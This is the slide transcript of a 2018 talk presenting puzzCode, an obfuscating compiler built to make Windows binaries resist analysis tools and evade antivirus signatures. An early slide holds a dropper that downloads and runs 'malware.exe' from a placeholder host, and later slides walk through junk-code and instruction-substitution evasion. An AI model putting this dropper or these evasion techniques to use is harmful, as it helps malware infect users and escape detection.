Upgrade to Pro — share decks privately, control downloads, hide ads and more …

puzzCode: Make Backdoors Great Again!

adr
March 18, 2018

puzzCode: Make Backdoors Great Again!

puzzCode is a simple compiler based on mingw, written in C# to build windows applications in such a way that they can't be analysed by standard analysis tools (e.g. IDA, Ollydbg, x64dbg, Snowman Decompiler, etc.)

puzzCode is based on MinGW to compile C/C++ source code to assembly language while also obfuscating every instruction. puzzCode transforms each original instruction into obfuscated code by breaking each function into countless pieces.

The most important thing is that the executable (exe) file, once compiled by puzzCode will be undetectable by antivirus as it effectively will create a completely new application.

adr

March 18, 2018
Tweet

More Decks by adr

Other Decks in Technology

Transcript

  1. 1. How to defend malware against analysis 2. How to

    bypass malware signature Here's the 2 main points of this presentation
  2. #include <urlmon.h> #include <Windows.h> #pragma comment(lib, "urlmon.lib") int main(int argc,

    char* argv[]) { URLDownloadToFileA ( NULL, "http://hack.com/?file=malware.exe", "malware.exe", 0, NULL ); system("malware.exe"); return 0; } dropper.c
  3. ; int __cdecl main(int argc, const char **argv, const char

    **envp) push ebp mov ebp, esp push 0 ; LPBINDSTATUSCALLBACK push 0 ; DWORD push offset szFileName ; "malware.exe" push offset szURL ; "http://hack.com/?file=malware.exe" push 0 ; LPUNKNOWN call URLDownloadToFileA push offset command ; "malware.exe" call _system add esp, 4 xor eax, eax pop ebp retn dropper.asm
  4. ; int __cdecl main(int argc, const char **argv, const char

    **envp) push ebp // 55 mov ebp, esp // 8B EC push 0 // 6A 00 push 0 // 6A 00 push 0x406030 // 68 30 60 40 00 push 0x40603c // 68 3C 60 40 00 push 0 // 6A 00 call URLDownloadToFileA // E8 E2 3C 00 00 push 0x406060 // 68 60 60 40 00 call _system // E8 07 00 00 00 add esp, 4 // 83 C4 04 xor eax, eax // 33 C0 pop ebp // 5D retn // C3 dropper.asm → Native Code
  5. dropper.asm → Native Code →exe DOS Program ⋯⋯ HT Header

    .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... ; int __cdecl main(int argc, const char **argv, const char **envp) push ebp // 55 mov ebp, esp // 8B EC push 0 // 6A 00 push 0 // 6A 00 push 0x406030 // 68 30 60 40 00 push 0x40603c // 68 3C 60 40 00 push 0 // 6A 00 call URLDownloadToFileA // E8 E2 3C 00 00 ...
  6. What Reseachers Can Do, DOS Program ⋯⋯ NT Header .text

    Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... If They Get A EXE File like This?
  7. 1. Static analysis tool • IDA Pro: www.hex-rays.com • BinNavi:

    www.zynamics.com/binnavi.html • Snowman: derevenets.com • ... 2. Dynamic analysis tool • x64 Dbg: x64dbg.com • ollyDbg: www.ollydbg.de/version2.html • Immunity Debugger: www.immunityinc.com/products/debugger • ... 3. Sandbox • Cuckoo: cuckoosandbox.org How Researcher Analyze A Malware?
  8. 1. Static analysis tool • IDA Pro: www.hex-rays.com • BinNavi:

    www.zynamics.com/binnavi.html • Snowman: derevenets.com • ... 2. Dynamic analysis tool • x64 Dbg: x64dbg.com • ollyDbg: www.ollydbg.de/version2.html • Immunity Debugger: www.immunityinc.com/products/debugger • ... 3. Sandbox • Cuckoo: cuckoosandbox.org How Researcher Analyze A Malware?
  9. How Static Analysis Tools Do? DOS Program ⋯⋯ HT Header

    .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... Grab those opcodes of the EXE file
  10. push ebp mov ebp, esp push 0 ; LPBINDSTATUSCALL push

    0 ; DWORD push offset szFileName ; "malware.exe" push offset szURL ; "http://hack.com push 0 ; LPUNKNOWN How Static Analysis Tools Do? DOS Program ⋯⋯ HT Header .text Section ⋯⋯ 55 8B EC 6A 00 6A 00 ... Grab those opcodes of the EXE file And transform opcodes into assembly instructions
  11. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions
  12. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions Compiler Should follow C/C++ Calling Convention to Generate Assembly Instructions!
  13. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions therefore, it's easy for analysis tools, just follow calling convention, and turn it back to C/C++ codes, ...Right?
  14. Calling Convention int callee(int, int, int); int caller(void) { return

    callee(1, 2, 3) + 5; } caller: push ebp mov ebp, esp push 3 push 2 push 1 call callee add eax, 5 add esp, 12 mov esp, ebp pop ebp ret en.wikipedia.org/wiki/X86_calling_conventions If Hackers Call a function, but they don't want to follow calling convention syntax? :P
  15. msgbox.c IDA Pro #include <Windows.h> const char *lptext = "hi

    there!"; const char *lptitl = "info"; int main() { __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } //MessageBoxA(0, lptext, lptitl, 0); return 0; }
  16. msgbox.c IDA Pro #include <Windows.h> const char *lptext = "hi

    there!"; const char *lptitl = "info"; int main() { __asm { push 0 push lptitl push lptext push 0 call newfunc ret newfunc: add esp, 4 call MessageBoxA } return 0; }
  17. msgbox.c IDA Pro int main() { __asm { push 0

    call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } ...
  18. msgbox.c IDA Pro int main() { __asm { push 0

    call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } ...
  19. - Pack each instructions into new function-like gadgets - Breaking

    each function call syntax into countless pieces - Insert some useless codes into original instrctions 1. nop 2. lodsb 3. mov edi, edi ...etc - Turn Original Instrctions into Similar Codes Set 4. mov eax, ebx => push ebx; pop eax 5. push 0 => sub esp, 4; mov [esp], 0 6. sub esp, 4 => lea esp, [esp-4] Core Idea
  20. ./shellBlog.c #include <stdio.h> void malFunc(void) { char malData[] = "explorer

    http://30cm.tw"; system(malData); /* display my blog :P */ } int main(void) { malFunc(); }
  21. ./shellBlog.c .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov

    ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth " .text:0040161B mov [ebp - 0x14], 0x2F2F3A70 // "//:p" .text:00401622 mov [ebp - 0x10], 0x6D633033 // "mc03" .text:00401629 mov [ebp - 0x0C], 0x0077742E // "wt." .text:00401630 lea eax, [ebp - 0x20] .text:00401633 mov [esp], eax ; Command .text:00401636 call system .text:0040163C leave .text:0040163D retn
  22. ./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯ malFunc

    55 8B EC 81... ⋯⋯ ⋯⋯ Offset .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth "
  23. ./shellBlog.exe DOS Program ⋯⋯ NT Header .text Section ⋯⋯ malFunc

    55 8B EC 81... ⋯⋯ ⋯⋯ Offset .text:00401600 malFunc proc near .text:00401600 push ebp .text:00401601 mov ebp, esp .text:00401603 sub esp, 0x38 .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe" .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero" .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth " bool chkVirus(PBYTE mem) { /* 55 - push ebp 8b ec - mov ebp, esp 81 EC 38 00 00 00 - sub esp,00000038 */ char Signature[] = "\x55\x8B\xEC\x81\xEC\x38\x00"; return !strncmp((char *)mem+offset, Signature, 7); }
  24. ⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog.exe ⋯⋯ ⋯⋯ malFunc

    ⋯⋯ ⋯⋯ Offset shellBlog1.exe Junk ⋯⋯ ⋯⋯ malFunc ⋯⋯ Offset shellBlog2.exe Junk Junk Junk
  25. ⋯⋯ ⋯⋯ malFunc ⋯⋯ ⋯⋯ Offset shellBlog.exe ⋯⋯ ⋯⋯ malFunc

    ⋯⋯ ⋯⋯ Offset shellBlog1.exe Junk ⋯⋯ ⋯⋯ malFunc ⋯⋯ Offset shellBlog2.exe Junk Junk Junk If malicious function of the same source code change every time after compiled, it'll be a big challenge for nowadays Anti-Virus :)
  26. puzzCode Source.cpp Object Files Main.exe MinGW Compiler Assembly Codes Assembler

    Linker Scanning Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ... Get Functions of those Codes
  27. Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ...

    __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { push 0 push lptitl push lptext push 0 call newfunc ret newfunc: add esp, 4 call MessageBoxA } __asm { push 0 call func_00; ret func_00: add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA } Obfuscate Spatially
  28. Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ...

    __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { push 0 nop push lptitl lodsb push lptext mov edi, edi push 0 call MessageBoxA } __asm { push 0 nop call func_00; ret func_00: lodsb add esp, 4 push lptitl call func_01; ret func_01: add esp, 4 push lptext mov edi, edi call func_02; ret func_02: add esp, 4 push 0 call func_03; ret func_03: add esp, 4 call MessageBoxA Obfuscate with Junk Codes
  29. Assembly Codes void func_00(); int func_01(int); int func_02(int, char*); ...

    __asm { push 0 push lptitl push lptext push 0 call MessageBoxA } __asm { sub esp, 4 mov [esp], 0 push lptitl push lptext sub esp, 4 mov [esp], 0 call MessageBoxA } Obfuscate with Similar Instructions __asm { lea esp, [esp-0x10] mov [esp+0x0c], 0 mov [esp+0x08], lptitl mov [esp+0x04], lptext mov [esp+0x00], 0 push retn push MessageBoxA ret retn: }